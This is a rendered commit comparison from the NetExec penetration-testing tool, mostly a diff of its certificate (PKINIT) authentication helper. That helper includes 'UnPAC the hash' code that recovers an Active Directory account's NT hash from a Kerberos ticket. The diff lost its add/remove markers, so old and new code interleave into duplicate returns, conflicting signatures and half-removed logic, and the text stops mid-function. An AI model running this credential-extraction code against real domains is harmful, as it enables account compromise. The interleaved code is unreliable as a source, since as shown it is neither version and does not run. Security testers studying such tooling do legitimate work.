Compare commits

..
Author SHA1 Message Date
mpgn 468f5923ed wmi: tell the user when a step hits --exec-timeout or the cleanup fails, and drop a dead stub 2026-11-02 18:02:10 +01:00
mpgn 7def180f59 wmi: raise on a refused Win32_Process.Create, catch exec errors in wmi.py, honour --exec-timeout for every step 2026-10-27 23:01:01 +01:00
mpgn c14cab226e wmi: check Win32_Process.Create's return value and let --exec-timeout raise the encode/store waits 2026-10-24 21:19:09 +02:00
mpgn 68e1ad2031 wmi: wait for the remote process instead of fixed sleeps in -x / -X
wmi -x/-X: run the command, then poll Win32_Process by PID (and its
children) until it exits, bounded by --exec-timeout, instead of fixed
sleeps. certutil and reg add run as one chained process.
2026-10-17 19:27:46 +02:00
47 changed files with 1373 additions and 1212 deletions

No files matched your search

-2
View File
@@ -64,5 +64,3 @@ docs/_build/
# PyBuilder
target/
nxc/.DS_Store
.DS_Store
-6
View File
@@ -12,12 +12,6 @@
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
# NetExec protocol structure
- Protocol implementations must follow the lifecycle defined by `proto_flow()` in `nxc/connection.py`.
- Keep connection setup in `create_conn_obj()`, target enumeration in `enum_host_info()`, host information output in `print_host_info()`, authentication in the login methods, and cleanup in `disconnect()`.
- Keep protocol-specific behavior in the appropriate lifecycle methods and let `proto_flow()` control their order and dispatch command arguments and modules.
# NetExec module structure
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
+1 -1
View File
@@ -13,7 +13,7 @@ clean:
find . -name '.pytest_cache' -exec rm -rf {} +
tests:
ruff check .
flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude nxc/data/*
requirements:
poetry export --without-hashes -f requirements.txt -o requirements.txt
+2 -13
View File
@@ -32,12 +32,11 @@ a = Analysis(
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dcerpc.v5.even6',
'impacket.dcerpc.v5.tsts',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'impacket.krb5.kpasswd',
'jwt',
'nxc.connection',
'nxc.protocols.smb.wmiexec',
'nxc.protocols.smb.atexec',
@@ -49,12 +48,9 @@ a = Analysis(
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.dpapi',
'nxc.helpers.even6_parser',
'nxc.helpers.firefox',
'nxc.helpers.msada_guids',
'nxc.helpers.negotiate_parser',
'nxc.helpers.smb',
'paramiko',
'pefile',
'pypsrp.client',
@@ -88,16 +84,9 @@ a = Analysis(
'dploot.triage.cng',
'dploot.lib.target',
'dploot.lib.smb',
'dploot.lib.network.mssql',
'dploot.lib.network.winrm',
'dsinternals.common.cryptography.X509Certificate2',
'dsinternals.common.data.DNWithBinary',
'dsinternals.common.data.hello.KeyCredential',
'dsinternals.system.DateTime',
'dsinternals.system.Guid',
'lxml.objectify',
'pyasn1_modules.rfc5652',
'unicrypto.backends.pycryptodomex',
'dateutil.relativedelta',
'sspilib.raw._text',
],
hookspath=['./nxc/.hooks'],
+4 -7
View File
@@ -109,11 +109,9 @@ class connection:
# Authentication info
self.password = ""
self.username = ""
self.certificate_auth = bool(self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert)
self.kerberos = bool(self.args.kerberos or
self.args.use_kcache or
self.args.aesKey or
(self.certificate_auth and not (self.protocol == "ldap" and self.args.schannel)) or # PKINIT yields a TGT, while Schannel binds the certificate to the LDAP channel itself
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "generate_st") and self.args.generate_st) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
@@ -121,7 +119,6 @@ class connection:
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
self.has_reusable_secret = not (self.protocol == "ldap" and self.args.schannel) # a Schannel bind authenticates the LDAP connection only, leaving no secret for a second channel
# Network info
self.domain = None
@@ -225,7 +222,7 @@ class connection:
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql" and not self.certificate_auth): # a failed certificate auth is not a null session
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
self.logger.debug("Calling command arguments")
self.call_cmd_args()
if self.args.module:
@@ -534,18 +531,18 @@ class connection:
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if self.certificate_auth:
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
self.logger.debug("Trying to authenticate using Certificate pfx")
if self.args.protocol == "ldap" and self.args.schannel:
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
with sem:
return self.plaintext_login(self.domain, "", "")
if not username:
if not self.args.username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
from nxc.helpers.pfx import pfx_auth
return pfx_auth(self, domain[0], username[0])
return pfx_auth(self)
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
+536 -160
View File
@@ -1,199 +1,575 @@
# Certificate authentication for nxc: PKINIT (RFC 4556) through impacket, plus UnPAC the hash
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan)
#
# Description:
# This script will use an existing TGT to request a PAC for the current user using U2U.
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
# used for silver tickets and for backwards compatibility with other tooling.
#
# References:
# PKINIT: https://www.rfc-editor.org/rfc/rfc4556
#
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
#
# Authors:
# Azox (@azoxlpf) for the PKINIT implementation, in impacket and in nxc
# Dirk-jan Mollema (@_dirkjan) for the original UnPAC the hash implementation
# Based on examples from minikerberos by skelsec
# Parts of this code was inspired by the following project by @rubin_mor
# https://github.com/morRubin/AzureADJoinedMachinePTC
#
# Author:
# Tamas Jos (@skelsec)
# Dirk-jan Mollema (@_dirkjan)
#
import base64
import datetime
import os
import random
import secrets
import tempfile
import hashlib
import datetime
import random
import base64
from binascii import hexlify
from binascii import unhexlify, hexlify
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from asn1crypto import x509
from minikerberos.protocol.dirtydh import DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
from pyasn1.codec.der import decoder, encoder
from pyasn1.error import PyAsn1Error
from pyasn1.type.univ import noValue
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.krb5 import constants
from impacket.krb5.asn1 import AD_IF_RELEVANT, AP_REQ, AS_REP, Authenticator, EncTicketPart, TGS_REP, TGS_REQ, Ticket as TicketAsn1, seq_set, seq_set_iter
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import InvalidChecksum, _enctype_table
from impacket.krb5.kerberosv5 import KerberosError, sendReceive
from impacket.krb5.pac import NTLM_SUPPLEMENTAL_CREDENTIAL, PACTYPE, PAC_CREDENTIAL_DATA, PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER
from impacket.krb5.pkinit import PKINITCredentials, PKINITError, getKerberosTGTPKINIT
from impacket.krb5.types import KerberosTime, Principal, Ticket
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
from impacket.krb5.types import Principal, KerberosTime, Ticket
# Imports for pfx_auth
from minikerberos.network.clientsocket import KerberosClientSocket
from minikerberos.common.target import KerberosTarget
from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH, TMP_PATH
from nxc.helpers.path import sanitize_path_component
from nxc.logger import nxc_logger
def pkinit_credentials(args):
"""Load the client certificate and its private key as the PKINIT credentials impacket expects"""
if args.pfx_cert:
return PKINITCredentials.fromPFX(args.pfx_cert, args.pfx_pass)
def _load_asn1_certificate(data):
"""Load a certificate as an asn1crypto object, accepting both PEM and DER input
if args.pfx_base64:
with open(args.pfx_base64, "rb") as pfx_base64_file:
pfxdata = base64.b64decode(pfx_base64_file.read())
return PKINITCredentials.fromPFXData(pfxdata, args.pfx_pass, source=f"the base64 PFX file {args.pfx_base64}")
if args.pem_cert and args.pem_key:
return PKINITCredentials.fromPEM(args.pem_cert, args.pem_key, args.pfx_pass)
return None
def read_nt_hash_from_pac(connection, enc_ticket_part, reply_key):
"""Return the NT hash held by the PAC_CREDENTIAL_INFO of a ticket, or None when the PAC carries none"""
decoded_ticket_part = decoder.decode(enc_ticket_part, asn1Spec=EncTicketPart())[0]
ad_if_relevant = decoder.decode(decoded_ticket_part["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[0]
pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets())
buffers = pac_type["Buffers"]
for _ in range(pac_type["cBuffers"]):
info_buffer = PAC_INFO_BUFFER(buffers)
buffers = buffers[len(info_buffer):]
connection.logger.debug(f"PAC buffer type {info_buffer['ulType']}")
if info_buffer["ulType"] != 2: # PAC_CREDENTIAL_INFO
continue
credential_info = PAC_CREDENTIAL_INFO(pac_type["Buffers"][info_buffer["Offset"] - 8:][:info_buffer["cbBufferSize"]])
cipher = _enctype_table[credential_info["EncryptionType"]]
# Key usage 16: the PAC credential info, encrypted with the AS reply key
credential_data = cipher.decrypt(reply_key, 16, credential_info["SerializedData"])
serialization_header = TypeSerialization1(credential_data)
# Skip the 4 bytes of the ReferentID of the pointer following the header
credentials = PAC_CREDENTIAL_DATA(credential_data[len(serialization_header) + 4:])
for credential in credentials["Credentials"]:
supplemental_credential = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(credential["Credentials"]))
return hexlify(supplemental_credential["NtPassword"]).decode()
connection.logger.fail("The PAC holds no PAC_CREDENTIAL_INFO: the account has no NT hash stored, or the TGT did not come from PKINIT")
return None
def unpac_the_hash(connection, username, tgt, cipher, reply_key, session_key):
"""Recover the NT hash of the account the TGT belongs to, through a U2U service ticket to itself
Only a PKINIT AS-REP carries a PAC_CREDENTIAL_INFO, and the KDC encrypts it with the AS reply key,
which the TGT does not expose: it has to be read from a ticket requested with that very TGT.
Returns None, after logging why, when the hash cannot be recovered
The certificate is parsed by cryptography and re-encoded, so that malformed input is
rejected here instead of failing later inside asn1crypto, which parses lazily
"""
decoded_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
ticket = Ticket()
ticket.from_asn1(decoded_tgt["ticket"])
realm = str(decoded_tgt["crealm"])
now = datetime.datetime.now(datetime.UTC)
client_name = Principal()
client_name.from_asn1(decoded_tgt, "crealm", "cname")
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = realm
seq_set(authenticator, "cname", client_name.components_to_asn1)
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
connection.logger.debug(f"U2U authenticator: {authenticator.prettyPrint()}")
ap_req = AP_REQ()
ap_req["pvno"] = 5
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
ap_req["ap-options"] = constants.encodeFlags([])
seq_set(ap_req, "ticket", ticket.to_asn1)
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
# Key usage 7: the AP-REQ authenticator of a PA-TGS-REQ, encrypted with the TGT session key
ap_req["authenticator"]["cipher"] = cipher.encrypt(session_key, 7, encoder.encode(authenticator), None)
tgs_req = TGS_REQ()
tgs_req["pvno"] = 5
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgs_req["padata"] = noValue
tgs_req["padata"][0] = noValue
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgs_req["padata"][0]["padata-value"] = encoder.encode(ap_req)
req_body = seq_set(tgs_req, "req-body")
req_body["kdc-options"] = constants.encodeFlags([constants.KDCOptions.forwardable.value, constants.KDCOptions.renewable.value, constants.KDCOptions.canonicalize.value, constants.KDCOptions.enc_tkt_in_skey.value])
req_body["realm"] = realm
seq_set(req_body, "sname", Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value).components_to_asn1)
req_body["till"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
connection.logger.info("Requesting a U2U service ticket to ourselves to read the PAC")
try:
response = sendReceive(encoder.encode(tgs_req), connection.domain, connection.kdcHost)
tgs_rep = decoder.decode(response, asn1Spec=TGS_REP())[0]
connection.logger.debug(f"U2U TGS-REP: {tgs_rep.prettyPrint()}")
# Key usage 2: with enc-tkt-in-skey the ticket is encrypted with the session key of the TGT sent along
enc_ticket_part = cipher.decrypt(session_key, 2, tgs_rep["ticket"]["enc-part"]["cipher"])
return read_nt_hash_from_pac(connection, enc_ticket_part, reply_key)
except (KerberosError, InvalidChecksum, PyAsn1Error, OSError, IndexError, KeyError) as e: # IndexError: empty AD-IF-RELEVANT, KeyError: unknown etype
connection.logger.fail(f"Failed to unPAC the hash: {e}")
return None
cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
return _to_asn1_certificate(cert)
def pfx_auth(self, domain, username):
"""Authenticate with a client certificate through PKINIT, then optionally unPAC the NT hash"""
if not self.kdcHost:
self.logger.fail(f"Could not resolve KDC host for domain {domain}. Use --kdcHost to specify the domain controller IP")
return False
def _to_asn1_certificate(cert):
"""Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
def _check_rsa_privkey(privkey):
"""PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
if not isinstance(privkey, rsa.RSAPrivateKey):
raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
return privkey
class myPKINIT:
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
which fails at import time on any OpenSSL whose version has a two digit component
"""
def __init__(self):
self.privkey = None
self.certificate = None
self.issuer = None
self.cname = None
self.diffie = None
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
pfxdata = f.read()
if b64:
pfxdata = base64.b64decode(pfxdata)
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
# cryptography requires None (not an empty password) for a pfx without password
privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
# a pfx holding only a certificate parses fine, so check the key before the certificate
if privkey is None:
raise Exception("No private key found in the PFX file")
if cert is None:
raise Exception("No certificate found in the PFX file")
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.certificate = _to_asn1_certificate(cert)
pkinit.setup(dh_params=dh_params)
return pkinit
@staticmethod
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = _load_asn1_certificate(f.read())
with open(privkeyfile, "rb") as f:
keydata = f.read()
try:
try:
privkey = serialization.load_pem_private_key(keydata, password=None)
except ValueError:
privkey = serialization.load_der_private_key(keydata, password=None)
except TypeError as e:
# raised by both loaders when the key is encrypted and no password was given
raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.setup(dh_params=dh_params)
return pkinit
def sign_authpack(self, data, wrap_signed=False):
return self.sign_authpack_native(data, wrap_signed)
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
nxc_logger.display("Generating DH params...")
nxc_logger.display("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
elif isinstance(dh_params, bytes):
self.diffie = DirtyDH.from_asn1(dh_params)
elif isinstance(dh_params, DirtyDH):
self.diffie = dh_params
else:
raise Exception("DH params must be either a bytearray or a dict")
def build_asreq(self, domain=None, cname=None, kdcopts=None):
if kdcopts is None:
kdcopts = ["forwardable", "renewable", "renewable-ok"]
if isinstance(kdcopts, list):
kdcopts = set(kdcopts)
if cname is not None:
if isinstance(cname, str):
cname = [cname]
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.UTC)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
kdc_req_body_data["realm"] = domain.upper()
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["nonce"] = secrets.randbits(31)
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
authenticator = {}
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = now.replace(microsecond=0)
authenticator["nonce"] = secrets.randbits(31)
authenticator["paChecksum"] = checksum
dp = {}
dp["p"] = self.diffie.p
dp["g"] = self.diffie.g
dp["q"] = 0 # mandatory parameter, but it is not needed
pka = {}
pka["algorithm"] = "1.2.840.10046.2.1"
pka["parameters"] = keys.DomainParameters(dp)
spki = {}
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
spki["public_key"] = self.diffie.get_public_key()
authpack = {}
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
authpack["clientDHNonce"] = self.diffie.dh_nonce
authpack = AuthPack(authpack)
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
payload = PA_PK_AS_REQ()
payload["signedAuthPack"] = signed_authpack
pa_data_1 = {}
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
pa_data_1["padata-value"] = payload.dump()
pa_data_0 = {}
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
asreq = {}
asreq["pvno"] = 5
asreq["msg-type"] = 10
asreq["padata"] = [pa_data_0, pa_data_1]
asreq["req-body"] = kdc_req_body
return AS_REQ(asreq).dump()
def sign_authpack_native(self, data, wrap_signed=False):
"""
Creating PKCS7 blob which contains the following things:
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
2. the certificate used to sign the data blob
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
"""
da = {}
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
si = {}
si["version"] = "v1"
si["sid"] = cms.IssuerAndSerialNumber({
"issuer": self.certificate.issuer,
"serial_number": self.certificate.serial_number,
})
si["digest_algorithm"] = algos.DigestAlgorithm(da)
si["signed_attrs"] = [
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
ec["content"] = data
sd = {}
sd["version"] = "v3"
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
sd["certificates"] = [self.certificate]
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
if wrap_signed is True:
ci = {}
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
ci["content"] = cms.SignedData(sd)
return cms.ContentInfo(ci).dump()
return cms.SignedData(sd).dump()
def decrypt_asrep(self, as_rep):
def truncate_key(value, keysize):
output = b""
currentNum = 0
while len(output) < keysize:
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
if len(output) + len(currentDigest) > keysize:
output += currentDigest[:keysize - len(output)]
break
output += currentDigest
currentNum += 1
return output
for pa in as_rep["padata"]:
if pa["padata-type"] == 17:
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
break
else:
raise Exception("PA_PK_AS_REP not found!")
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
sd = ci["content"]
keyinfo = sd["encap_content_info"]
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
raise Exception("Keyinfo content type unexpected value")
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
shared_key = self.diffie.exchange(pubkey)
server_nonce = pkasrep["serverDHNonce"]
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate_key(fullKey, 32)
elif etype == Enctype.AES128:
t_key = truncate_key(fullKey, 16)
elif etype == Enctype.RC4:
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
nxc_logger.info("AS-REP encryption key (you might need this later):")
nxc_logger.info(hexlify(t_key).decode("utf-8"))
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
class GETPAC:
def printPac(self, data, key=None):
nthash = None
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
0]
# So here we have the PAC
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
buff = pacType["Buffers"]
found = False
for _bufferN in range(pacType["cBuffers"]):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
if infoBuffer["ulType"] == 2:
found = True
credinfo = PAC_CREDENTIAL_INFO(data)
newCipher = _enctype_table[credinfo["EncryptionType"]]
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
type1 = TypeSerialization1(out)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = out[len(type1) + 4:]
pcc = PAC_CREDENTIAL_DATA(newdata)
for cred in pcc["Credentials"]:
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
nxc_logger.info("Recovered NT Hash")
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
buff = buff[len(infoBuffer):]
if not found:
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
return nthash
def __init__(self, username, domain, kdcHost, key, tgt):
self.__username = username
self.__domain = domain.upper()
self.__kdcHost = kdcHost
self.__asrep_key = key
self.__tgt = tgt["KDC_REP"]
self.__cipher = tgt["cipher"]
self.__sessionKey = tgt["sessionKey"]
def dump(self):
# Try all requested protocols until one works.
tgt = self.__tgt
cipher = self.__cipher
sessionKey = self.__sessionKey
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
nxc_logger.debug("AUTHENTICATOR")
nxc_logger.debug(authenticator.prettyPrint() + "\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq["padata"][0]["padata-value"] = encodedApReq
reqBody = seq_set(tgsReq, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(reqBody, "etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
nxc_logger.debug("Final TGS")
nxc_logger.debug(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
nxc_logger.info("Requesting ticket to self with PAC")
r = sendReceive(message, self.__domain, self.__kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
nxc_logger.debug("TGS_REP")
nxc_logger.debug(tgs.prettyPrint())
cipherText = tgs["ticket"]["enc-part"]["cipher"]
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
specialkey = Key(18, unhexlify(self.__asrep_key))
return self.printPac(plainText, specialkey)
def pfx_auth(self):
"""Handles the authentication using a PFX or PEM file"""
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
dhparams = {
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
"g": 2
}
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
try:
credentials = pkinit_credentials(self.args)
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
except FileNotFoundError as e:
self.logger.fail(f"Certificate or key file not found: {e.filename}")
return False
except (PKINITError, ValueError) as e:
except Exception as e:
self.logger.fail(f"Failed to load certificate/key: {e}")
return False
if credentials is None:
